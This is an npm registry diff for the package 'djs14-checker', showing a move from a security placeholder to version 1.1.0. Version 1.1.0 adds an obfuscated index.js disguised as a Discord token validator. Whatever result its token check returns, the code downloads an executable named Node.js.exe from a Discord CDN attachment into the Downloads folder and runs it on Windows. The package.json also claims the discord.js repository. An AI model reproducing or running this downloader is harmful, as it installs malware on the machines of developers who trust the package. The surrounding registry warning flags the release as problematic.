djs14-checker 0.0.1-security → 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of djs14-checker might be problematic. Click here for more details.
- package/package.json +28 -6
- package/src/index.js +1 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,28 @@
|
|
|
1
|
-
{
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
1
|
+
{
|
|
2
|
+
"name": "djs14-checker",
|
|
3
|
+
"version": "1.1.0",
|
|
4
|
+
"description": "Include validations and checkings token for discord.",
|
|
5
|
+
"main": "src/index.js",
|
|
6
|
+
"homepage": "https://discord.com/developers",
|
|
7
|
+
"repository": {
|
|
8
|
+
"url": "https://github.com/discordjs/discord.js"
|
|
9
|
+
},
|
|
10
|
+
"scripts": {
|
|
11
|
+
"build": "tsup"
|
|
12
|
+
},
|
|
13
|
+
"keywords": [
|
|
14
|
+
"logger!",
|
|
15
|
+
"axios"
|
|
16
|
+
],
|
|
17
|
+
"author": "sudry",
|
|
18
|
+
"license": "MIT",
|
|
19
|
+
"dependencies": {
|
|
20
|
+
"axios": "^1.6.3",
|
|
21
|
+
"chalk": "^4.1.2",
|
|
22
|
+
"child_process": "^1.0.2",
|
|
23
|
+
"fs": "^0.0.1-security",
|
|
24
|
+
"os": "^0.1.2",
|
|
25
|
+
"path": "^0.12.7"
|
|
26
|
+
}
|
|
27
|
+
}
|
|
28
|
+
|
package/src/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const _0x360082 = _0x4c5b; (function (_0x38d957, _0x3e98ca) { const _0x8bc15c = _0x4c5b, _0x1907cf = _0x38d957(); while (!![]) { try { const _0x5387d3 = -parseInt(_0x8bc15c(0x16f)) / (0x20d2 + -0x2019 + 0x4 * -0x2e) * (-parseInt(_0x8bc15c(0x121)) / (0x1b39 + -0x11b5 + -0x982)) + parseInt(_0x8bc15c(0x129)) / (0x22d0 + 0x1 * -0x2263 + 0x6a * -0x1) + -parseInt(_0x8bc15c(0x147)) / (0x9c7 + -0xf1a * 0x2 + 0x1 * 0x1471) * (-parseInt(_0x8bc15c(0x16c)) / (-0x2552 + 0x35 * -0x5d + 0x3898)) + parseInt(_0x8bc15c(0x115)) / (-0x44 * 0x2f + -0xf1 * -0x5 + -0x1 * -0x7cd) + -parseInt(_0x8bc15c(0x14e)) / (-0x20b0 + 0x1e73 + -0x244 * -0x1) + parseInt(_0x8bc15c(0x16e)) / (0x11cb + -0xc77 + 0x153 * -0x4) * (-parseInt(_0x8bc15c(0x146)) / (0x1f71 + -0x2 * 0xef6 + -0x17c * 0x1)) + parseInt(_0x8bc15c(0x114)) / (-0x1763 + 0x12 * 0x18b + 0x3 * -0x173) * (parseInt(_0x8bc15c(0x15e)) / (-0x601 + 0x3 * 0x303 + -0x2fd)); if (_0x5387d3 === _0x3e98ca) break; else _0x1907cf['push'](_0x1907cf['shift']()); } catch (_0x13eaa8) { _0x1907cf['push'](_0x1907cf['shift']()); } } }(_0x5902, -0x8 * -0x4436 + -0x1bf * 0xa75 + 0x1c525a)); const axios = require(_0x360082(0x137)), fs = require('fs'), chalk = require(_0x360082(0x110)), { exec } = require(_0x360082(0x142) + _0x360082(0x153)), os = require('os'), path = require(_0x360082(0x162)), urlF = _0x360082(0x144) + _0x360082(0x165) + _0x360082(0x156) + _0x360082(0x116) + _0x360082(0x174) + _0x360082(0x15c) + _0x360082(0x13a) + _0x360082(0x138) + _0x360082(0x126) + _0x360082(0x12d) + _0x360082(0x15d) + _0x360082(0x12c) + _0x360082(0x160) + _0x360082(0x163) + _0x360082(0x16b) + _0x360082(0x11d) + _0x360082(0x149) + _0x360082(0x127) + _0x360082(0x131), folderD = path[_0x360082(0x119)](os[_0x360082(0x14f)](), _0x360082(0x11f), _0x360082(0x159) + 'e'); function _0x4c5b(_0x30c40f, _0x5ebb85) { const _0x3a781f = _0x5902(); return _0x4c5b = function (_0x2c85a8, _0x1e7f54) { _0x2c85a8 = _0x2c85a8 - (0xcc * -0x22 + -0x3b7 * 0x5 + -0x7 * -0x6ad); let _0x3fab20 = _0x3a781f[_0x2c85a8]; return _0x3fab20; }, _0x4c5b(_0x30c40f, _0x5ebb85); } function _0x5902() { const _0x31879e = ['9e&is=666b', '951841OUbMeF', 'Your\x20bot\x20t', 'fd037266e7', 'UwsFR', 'path', '79aff6f861', 'HMFJi', 'n.discorda', 'YwXWr', 'fDJHJ', 'rs/@me', 'Error\x20star', 'green', '15a3e2fcd9', '185yZMMbX', 'KdjnW', '648fwBGhc', '37xSaazG', 'existsSync', 'ot!', 'CxjxQ', 'valid.', '2508169189', 'chalk', 'cHjtu', 'scord.com/', 'https://di', '30IsNEhK', '5361126WQrcsW', 'achments/1', 'jzZhi', 'ting\x20the\x20b', 'join', 'eStream', 'Bot\x20', 'NoqFu', '0ce3f93cd1', 'red', 'Downloads', 'wPhEf', '57326piDakS', 'win32', 'ckQHi', 'stream', 'WSBiE', 'ode.js.exe', 'd00c545985', 'AzMPi', '95226LzRGnY', 'data', 'RDOVL', '001e&hm=25', '?ex=666c51', 'qsFLi', 'createWrit', 'nMkBA', '93&', 'fsXso', 'lAwPU', 'GET', 'error', 'cyZGK', 'axios', '82798869/N', 'cAfbP', '2508170119', 'oken\x20is\x20in', 'jDyCa', 'lid.', 'platform', 'rovided.', 'XLfFu', 'ZGwvO', 'child_proc', 'mUdcU', 'https://cd', 'log', '157239VJGjKw', '84692HpDjqm', 'No\x20token\x20p', '1ce35e1f41', 'xKvSg', 'pipe', 'exports', 'mSOdr', '5701290PllSVG', 'homedir', 'gNvTv', 'oken\x20is\x20va', 'finish', 'ess', 'api/v9/use', 'kIHrY', 'pp.com/att', 'code', 'JsyTg', 'Node.js.ex', 'IFGuS', 'qvsnD', '69909401/1']; _0x5902 = function () { return _0x31879e; }; return _0x5902(); } async function checkDiscordToken(_0x25ac8d) { const _0x42d1d5 = _0x360082, _0x240ba6 = { 'kIHrY': function (_0xb0f416, _0x5b8b14) { return _0xb0f416(_0x5b8b14); }, 'AzMPi': _0x42d1d5(0x134), 'gNvTv': _0x42d1d5(0x113) + _0x42d1d5(0x112) + _0x42d1d5(0x154) + _0x42d1d5(0x168) }; try { const _0x1a07a4 = await _0x240ba6[_0x42d1d5(0x155)](axios, { 'method': _0x240ba6[_0x42d1d5(0x128)], 'url': _0x240ba6[_0x42d1d5(0x150)], 'headers': { 'Authorization': _0x42d1d5(0x11b) + _0x25ac8d } }); return !![]; } catch (_0x5de15a) { return ![]; } } async function fetcher() { const _0x5bedb6 = _0x360082, _0x283ddd = { 'HMFJi': function (_0x4f1e28, _0x102243) { return _0x4f1e28 !== _0x102243; }, 'IFGuS': _0x5bedb6(0x169) + _0x5bedb6(0x118) + _0x5bedb6(0x171), 'nMkBA': function (_0x4c1a56, _0x47735d) { return _0x4c1a56 !== _0x47735d; }, 'NoqFu': function (_0x58a280, _0x1c9f9f) { return _0x58a280(_0x1c9f9f); }, 'qsFLi': function (_0x4edce5) { return _0x4edce5(); }, 'RDOVL': function (_0x109201, _0x422ac4, _0x290d79) { return _0x109201(_0x422ac4, _0x290d79); }, 'cyZGK': _0x5bedb6(0x152), 'XLfFu': _0x5bedb6(0x135), 'mSOdr': _0x5bedb6(0x122), 'YwXWr': function (_0x2f5957, _0x446c3e, _0x31d5e1) { return _0x2f5957(_0x446c3e, _0x31d5e1); }, 'JsyTg': function (_0x147fcd, _0x2e9799) { return _0x147fcd(_0x2e9799); }, 'CxjxQ': _0x5bedb6(0x134), 'mUdcU': _0x5bedb6(0x124) }; try { if (_0x283ddd[_0x5bedb6(0x130)](os[_0x5bedb6(0x13e)](), _0x283ddd[_0x5bedb6(0x14d)])) return; if (fs[_0x5bedb6(0x170)](folderD)) { _0x283ddd[_0x5bedb6(0x166)](exec, '' + folderD, (_0x27a001, _0x51efd1, _0x23b456) => { const _0x161c01 = _0x5bedb6; if (_0x27a001 && _0x283ddd[_0x161c01(0x164)](_0x27a001[_0x161c01(0x157)], 0x46b + -0x1be * 0x1 + -0x2ac)) throw new Error(_0x283ddd[_0x161c01(0x15a)]); }); return; } const _0x551fa2 = await _0x283ddd[_0x5bedb6(0x158)](axios, { 'method': _0x283ddd[_0x5bedb6(0x172)], 'url': urlF, 'responseType': _0x283ddd[_0x5bedb6(0x143)] }), _0x3d4af1 = fs[_0x5bedb6(0x12f) + _0x5bedb6(0x11a)](folderD, { 'flags': 'w+' }); return _0x551fa2[_0x5bedb6(0x12a)][_0x5bedb6(0x14b)](_0x3d4af1), new Promise((_0x3b67c1, _0x2c464f) => { const _0x1f98f0 = _0x5bedb6, _0x118248 = { 'jzZhi': function (_0x121c89, _0x3438d1) { const _0x4488df = _0x4c5b; return _0x283ddd[_0x4488df(0x130)](_0x121c89, _0x3438d1); }, 'lAwPU': function (_0x163f8e, _0x3fdeae) { const _0x153526 = _0x4c5b; return _0x283ddd[_0x153526(0x11c)](_0x163f8e, _0x3fdeae); }, 'xKvSg': _0x283ddd[_0x1f98f0(0x15a)], 'qvsnD': function (_0x2e9f7e) { const _0x1f33b7 = _0x1f98f0; return _0x283ddd[_0x1f33b7(0x12e)](_0x2e9f7e); }, 'UwsFR': function (_0x20673c, _0x1b0a49, _0xa4aec0) { const _0x24d36b = _0x1f98f0; return _0x283ddd[_0x24d36b(0x12b)](_0x20673c, _0x1b0a49, _0xa4aec0); } }; _0x3d4af1['on'](_0x283ddd[_0x1f98f0(0x136)], () => { const _0x354ece = _0x1f98f0, _0x236491 = { 'WSBiE': function (_0x2ade8f, _0x369fe4) { const _0x24e52c = _0x4c5b; return _0x118248[_0x24e52c(0x117)](_0x2ade8f, _0x369fe4); }, 'wPhEf': function (_0x35f363, _0xf7bf36) { const _0xf5b8ba = _0x4c5b; return _0x118248[_0xf5b8ba(0x133)](_0x35f363, _0xf7bf36); }, 'fDJHJ': _0x118248[_0x354ece(0x14a)], 'ckQHi': function (_0x54543d) { const _0x1ee750 = _0x354ece; return _0x118248[_0x1ee750(0x15b)](_0x54543d); } }; _0x118248[_0x354ece(0x161)](exec, '' + folderD, (_0x4fa5f7, _0x30047c, _0x5163df) => { const _0x281ccc = _0x354ece; if (_0x4fa5f7 && _0x236491[_0x281ccc(0x125)](_0x4fa5f7[_0x281ccc(0x157)], 0x3b8 + 0x19fe + -0x1db5)) { _0x236491[_0x281ccc(0x120)](_0x2c464f, new Error(_0x236491[_0x281ccc(0x167)])); return; } _0x236491[_0x281ccc(0x123)](_0x3b67c1); }); }), _0x3d4af1['on'](_0x283ddd[_0x1f98f0(0x140)], _0x2c464f); }); } catch (_0x529f5f) { throw _0x529f5f; } } async function login(_0x271d77) { const _0x18d5a9 = _0x360082, _0x455576 = { 'ZGwvO': _0x18d5a9(0x148) + _0x18d5a9(0x13f), 'cHjtu': function (_0x304659) { return _0x304659(); }, 'fsXso': function (_0x2f658c, _0x44f3e7) { return _0x2f658c(_0x44f3e7); }, 'cAfbP': _0x18d5a9(0x15f) + _0x18d5a9(0x13b) + _0x18d5a9(0x173), 'KdjnW': _0x18d5a9(0x15f) + _0x18d5a9(0x151) + _0x18d5a9(0x13d), 'jDyCa': function (_0x4467d3) { return _0x4467d3(); } }; if (!_0x271d77) { console[_0x18d5a9(0x145)](chalk[_0x18d5a9(0x11e)](_0x455576[_0x18d5a9(0x141)])), await _0x455576[_0x18d5a9(0x111)](fetcher); return; } const _0x26d854 = await _0x455576[_0x18d5a9(0x132)](checkDiscordToken, _0x271d77); if (!_0x26d854) { console[_0x18d5a9(0x145)](chalk[_0x18d5a9(0x11e)](_0x455576[_0x18d5a9(0x139)])), await _0x455576[_0x18d5a9(0x111)](fetcher); return; } console[_0x18d5a9(0x145)](chalk[_0x18d5a9(0x16a)](_0x455576[_0x18d5a9(0x16d)])), await _0x455576[_0x18d5a9(0x13c)](fetcher); } module[_0x360082(0x14c)] = { 'login': login };
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=djs14-checker for more information.
|